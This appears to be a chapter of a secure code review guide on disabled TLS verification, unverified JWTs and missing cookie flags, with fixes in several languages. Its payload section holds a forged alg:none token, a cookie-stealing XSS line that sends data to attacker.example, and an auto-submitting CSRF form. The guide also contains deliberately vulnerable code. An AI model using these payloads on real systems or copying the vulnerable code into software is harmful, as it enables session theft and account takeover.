Skip to content

4.41 Review Insecure Coding Practice

4.41 - Review Insecure Coding Practice

“Insecure coding practice” is not one CWE. It is a cluster of implementation habits that look small in a diff but collapse transport trust, session trust, or API identity in production. This chapter focuses on three high-frequency patterns: HTTPS clients that skip certificate verification, JWT handling that skips signature and key checks, and session cookies missing HttpOnly, Secure, and SameSite. It also lists related practices you should scan in the same review pass, with pointers to dedicated mini-chapters where they exist.

What This Vulnerability Is

These flaws come from convenience shortcuts, copy-pasted samples, or framework defaults left unchanged. The application still “uses HTTPS” or “uses JWT,” but the code does not actually validate the peer, token, or cookie the way the design assumes.

The unsafe assumption is that the network is honest, the token payload is authoritative because it is base64-encoded, or that HTTPS alone protects sessions without explicit cookie flags. Attackers exploit MITM on outbound calls, forged JWTs, and stolen session cookies. Reviewers should treat each pattern as a missing security control, not as style issues.

Vulnerability Characteristics (Where to Identify Them)

Pattern Where to look Red flags
TLS / HTTPS verification disabled requests.get(..., verify=False), custom TrustManager that accepts all certs, NODE_TLS_REJECT_UNAUTHORIZED=0, gRPC/HTTP clients with insecure channel creds Comments like “fix cert later,” test code shipped to prod
JWT signature / key mishandling get_unverified_claims, hardcoded HMAC secrets, accepting alg: none, JWKS without issuer/audience checks Auth middleware that trusts base64 payload segments
Insecure HTTP cookie flags set_cookie without httponly/secure/samesite, legacy servlet cookies, framework session defaults Session ID in URL, year-long Max-Age, logout that only clears client cookie
Hardcoded secrets (related) API keys, DB passwords, signing keys in source See 4.32 Review Hardcoded Secrets
Weak or custom crypto (related) MD5 passwords, home-grown AES, mixed hash/encrypt See 4.12, 4.36, 4.38
Dangerous dynamic execution (related) eval, exec, script engines on user input See 4.35 Review Dangerous Functions
Sensitive data in logs or URLs (related) Tokens/passwords in logs, credentials in GET See 4.22, 4.25
Secrets in comments (related) Password hints in HTML/JS comments See 4.31 Review Sensitive Code Comments
Insecure deserialization (related) pickle.loads on untrusted bytes See 4.37 Review Insecure Deserialization
Framework defaults left weak (related) DEBUG=True, permissive CORS, CSRF off See 4.30 Review Framework Secure Defaults

Suggested additions for the same review pass: debug endpoints left enabled in production, permissive CORS with credentials, missing CSRF on state-changing cookie auth (4.13), trust-all proxy headers without validation, and disabling security headers (CSP, HSTS) at the edge.

Attack Payloads

Use these in authorized tests against TLS clients, JWT validators, and cookie-based sessions.

Pattern 1: Forged JWT (no signature verification)

{"alg":"none"}
{"sub":"admin","role":"superuser","exp":9999999999}
# Base64url header.payload.  (trailing dot, empty signature)
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.

Pattern 2: HS256 with weak / public secret

# Attacker brute-forces "changeme" or reads secret from git
# Re-signs token with elevated claims
{"sub":"victim","role":"admin"}

Pattern 3: Algorithm confusion (RS256 → HS256)

# Use RS256 public key as HMAC secret when server accepts both
{"alg":"HS256","typ":"JWT"}

See 4.16 Review JWT Security for full algorithm-confusion patterns.

Pattern 4: MITM with verification disabled

# Attacker on network path presents self-signed cert
# Client with verify=False accepts and reads/modifies OAuth tokens, API keys
// XSS payload when HttpOnly is false:
document.cookie
fetch('https://attacker.example/?c=' + document.cookie)
<!-- Victim visits attacker page; browser sends session cookie on cross-site POST -->
<form action="https://app.example/transfer" method="POST">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

Language-Specific Sinks and Dangerous APIs

Python

requests.get(url, verify=False)
httpx.Client(verify=False)
from jose import jwt as jose_jwt
jose_jwt.get_unverified_claims(token)  # used for auth without signature check
response.set_cookie("auth_token", sid, httponly=False, secure=False)
urllib3.disable_warnings()  # often paired with verify=False

Also review: aiohttp connector with ssl=False, paramiko AutoAddPolicy, smtp without TLS.

Java

conn.setSSLSocketFactory(trustAllFactory);
conn.setHostnameVerifier((h, s) -> true);
HttpClients.custom().setSSLContext(trustAll).build();
Jwts.parser().setSigningKey("secret").parseClaimsJws(jwt);  // no iss/aud
new JwtParserBuilder().setAllowedClockSkewSeconds(Integer.MAX_VALUE);
Cookie c = new Cookie("JSESSIONID", id);  // no HttpOnly/Secure

Spring: spring.security.oauth2.resourceserver.jwt misconfiguration; custom filters that only base64-decode JWT payload.

C

handler.ServerCertificateCustomValidationCallback = (_, _, _, _) => true;
ServicePointManager.ServerCertificateValidationCallback += (_, _, _, _) => true;
new JwtSecurityTokenHandler().ReadJwtToken(jwt);  // no validation
TokenValidationParameters { ValidateIssuer = false, ValidateAudience = false };
Response.Cookies.Append("Session", id, new CookieOptions { HttpOnly = false });

JavaScript

process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
axios.get(url, { httpsAgent: new https.Agent({ rejectUnauthorized: false }) });
jwt.decode(token);  // jsonwebtoken — no verify
res.cookie('session', sid);  // express — default flags
fetch(url, { agent: new https.Agent({ rejectUnauthorized: false }) });

Go

tls.Config{InsecureSkipVerify: true}
jwt.ParseUnverified(tokenString, jwt.MapClaims{})
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid})  // no HttpOnly
grpc.WithTransportCredentials(insecure.NewCredentials())

Sample Vulnerable Code in Python

import httpx
from jose import jwt as jose_jwt
from starlette.applications import Starlette
from starlette.responses import JSONResponse, RedirectResponse
from starlette.routing import Route

async def login(request):
    session_id = issue_session(await request.form())
    response = RedirectResponse("/dashboard", status_code=302)
    # Insecure cookie: no HttpOnly, Secure, or SameSite
    response.set_cookie("sid", session_id, httponly=False, secure=False)
    return response

async def api_me(request):
    token = request.headers.get("Authorization", "").removeprefix("Bearer ")
    # Trusts unverified claims — signature never checked before authorization
    claims = jose_jwt.get_unverified_claims(token)
    return JSONResponse({"user": claims})

async def sync_partner(request):
    partner = request.query_params["partner"]  # attacker-controlled HTTPS target
    # TLS certificate verification disabled — MITM possible
    async with httpx.AsyncClient(verify=False, timeout=10.0) as client:
        r = await client.get(partner)
    return JSONResponse({"body": r.text})

app = Starlette(routes=[
    Route("/login", login, methods=["POST"]),
    Route("/api/me", api_me),
    Route("/sync", sync_partner),
])

Step-by-Step Review Walkthrough

  1. Search for TLS verification bypass. Grep verify=False, CERT_NONE, check_hostname = False, and custom trust managers. Ask which environments use the code; test-only paths must not ship in production builds.
  2. Trace outbound HTTPS from user-influenced URLs. In the sample, sync_partner fetches arbitrary URLs without validation—this overlaps SSRF (4.14). Even for fixed partners, disabling verification invites MITM credential theft.
  3. Locate JWT parse and authorize paths. In api_me, claims from get_unverified_claims drive behavior without signature verification. Find every jwt.decode, library wrappers, and API gateways that forward X-User-Id without validation.
  4. Review signing key resolution. Static JWT_SECRET, shared dev keys, missing JWKS fetch, and no iss/aud/exp checks are common. Confirm allowed algorithms are explicit (reject none).
  5. Audit cookie setters on login and refresh. Match login() against policy: HttpOnly (anti-XSS theft), Secure (HTTPS only), SameSite (CSRF posture). See 4.33 for depth.
  6. Walk related insecure practices. In one service, hardcoded secrets often appear beside disabled TLS verify—fix both in the same change set.
  7. Verify production configuration. Environment flags, Helm values, and reverse-proxy cookie settings must align with application code; code may set flags while the edge strips Secure.

Risk Impact Analysis

Man-in-the-middle on outbound HTTPS. Disabling certificate verification lets attackers intercept API keys, OAuth tokens, and PII on service-to-service calls even when the URL uses https://.

Authentication and authorization bypass via JWT. Unverified signatures or weak secrets allow arbitrary sub, role, or admin claims—full account takeover without passwords.

Session hijacking and CSRF. Cookies without HttpOnly are readable from XSS; without Secure they may leak on HTTP; without SameSite they are easier to abuse in cross-site requests.

Compounding failures. A single microservice may disable TLS verify while sending a bearer token in the header—MITM captures the token and replays it elsewhere.

Audit and compliance exposure. Regulated workloads expect demonstrable TLS trust stores, token validation, and session cookie controls; these gaps are frequent audit findings.

Vulnerable Examples in Other Languages

Java

// OkHttp client with permissive hostname verifier on user-supplied URL
OkHttpClient client = new OkHttpClient.Builder()
    .hostnameVerifier((hostname, session) -> true)
    .build();
Request req = new Request.Builder().url(userSuppliedUrl)
    .header("Authorization", "Bearer hardcoded-partner-token")
    .build();

// JWT: parser accepts HS256 with static secret only — no aud/iss
Claims claims = Jwts.parserBuilder()
    .setSigningKey("changeme".getBytes(StandardCharsets.UTF_8))
    .build()
    .parseClaimsJws(jwt).getBody();

// Servlet cookie without HttpOnly, Secure, or SameSite
Cookie c = new Cookie("JSESSIONID", session.getId());
response.addCookie(c);

C

// HttpClient handler that accepts any server certificate
var handler = new HttpClientHandler {
    ServerCertificateCustomValidationCallback = (_, _, _, _) => true
};
var client = new HttpClient(handler);
var data = await client.GetStringAsync(userUrl);

// JWT without full validation
var token = new JwtSecurityTokenHandler().ReadJwtToken(jwt);
var role = token.Claims.First(c => c.Type == "role").Value;

// Cookie missing flags
Response.Cookies.Append("Session", sessionId, new CookieOptions {
    HttpOnly = false,
    Secure = false
});

Go

// Insecure TLS skip (testing helper left in prod)
tr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
resp, _ := http.Client{Transport: tr}.Get(partnerURL)

// JWT parsed without verifying signature
token, _, _ := new(jwt.Parser).ParseUnverified(tokenString, jwt.MapClaims{})
admin, _ := token.Claims.(jwt.MapClaims)["admin"].(bool)

// Cookie without HttpOnly / Secure / SameSite
http.SetCookie(w, &http.Cookie{Name: "session", Value: sid, Path: "/"})

Fix: Safer Patterns and Libraries to Use

Python

TLS: always verify server certificates. Use default verification in httpx or requests; pin corporate roots via verify= path or system trust store—not verify=False.

import httpx

async def fetch_export(base_url: str, ca_bundle: str | None = None) -> bytes:
    verify: str | bool = ca_bundle if ca_bundle else True
    async with httpx.AsyncClient(verify=verify, timeout=10.0) as client:
        resp = await client.get(f"{base_url.rstrip('/')}/v1/export")
        resp.raise_for_status()
        return resp.content

Important: Never set verify=False except in isolated tests. If tests need it, gate with an explicit non-production flag that fails closed in CI for release artifacts.

JWT: verify signature, algorithm, and claims.

import jwt

def current_user(token: str) -> dict:
    return jwt.decode(
        token,
        key=get_signing_key(),  # from env / JWKS — not a hardcoded demo secret
        algorithms=["RS256"],   # explicit allowlist — never accept "none"
        audience="my-api",
        issuer="https://idp.example/",
        options={"require": ["exp", "sub"]},
    )

Cookies: set HttpOnly, Secure, and SameSite.

response.set_cookie(
    "sid",
    session_id,
    httponly=True,
    secure=True,
    samesite="lax",
    max_age=900,
)

Java

// Use default SSL socket factory — do not install trust-all managers
HttpsURLConnection conn = (HttpsURLConnection) new URL(allowlistedUrl).openConnection();

// JWT with explicit key and algorithm (jjwt example)
Jwts.parserBuilder()
    .setSigningKeyResolver(jwkResolver)
    .requireIssuer("https://idp.example/")
    .requireAudience("my-api")
    .build()
    .parseClaimsJws(jwt);

Cookie cookie = new Cookie("JSESSIONID", session.getId());
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setAttribute("SameSite", "Lax");
response.addCookie(cookie);

Important: setSigningKey("secretkey") without rotation, issuer, or audience checks is insufficient for production APIs.

C

// Default HttpClient validates server certificates
using var client = new HttpClient();
var data = await client.GetStringAsync(allowlistedUrl);

var parameters = new TokenValidationParameters {
    ValidateIssuerSigningKey = true,
    IssuerSigningKey = signingKey,
    ValidIssuer = "https://idp.example/",
    ValidAudience = "my-api",
    ValidateLifetime = true,
};
var principal = new JwtSecurityTokenHandler()
    .ValidateToken(jwt, parameters, out _);

Response.Cookies.Append("Session", sessionId, new CookieOptions {
    HttpOnly = true,
    Secure = true,
    SameSite = SameSiteMode.Lax,
    MaxAge = TimeSpan.FromMinutes(15),
});

Go

// Default client verifies TLS; use custom RootCAs for enterprise CAs only
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Get(allowlistedURL)

token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interface{}, error) {
    if t.Method.Alg() != "RS256" {
        return nil, fmt.Errorf("unexpected alg")
    }
    return publicKey, nil
}, jwt.WithAudience("my-api"), jwt.WithIssuer("https://idp.example/"))

http.SetCookie(w, &http.Cookie{
    Name:     "session",
    Value:    sid,
    Path:     "/",
    HttpOnly: true,
    Secure:   true,
    SameSite: http.SameSiteLaxMode,
    MaxAge:   900,
})

Verify During Review

  • No production code path uses verify=False, trust-all TLS callbacks, or equivalent.
  • JWT validation enforces signature, allowed algorithms, exp, and iss/aud where applicable; no verify_signature=False in deployed branches.
  • Signing keys load from secret stores or JWKS with rotation; no long-lived hardcoded symmetric secrets in source.
  • Session cookies use HttpOnly + Secure + deliberate SameSite; lifetimes match policy.
  • User-controlled URLs are not fetched with TLS verification disabled (pair with SSRF allowlists).
  • Related chapters (hardcoded secrets, CSRF, session management) are checked when any finding above is present.

Reference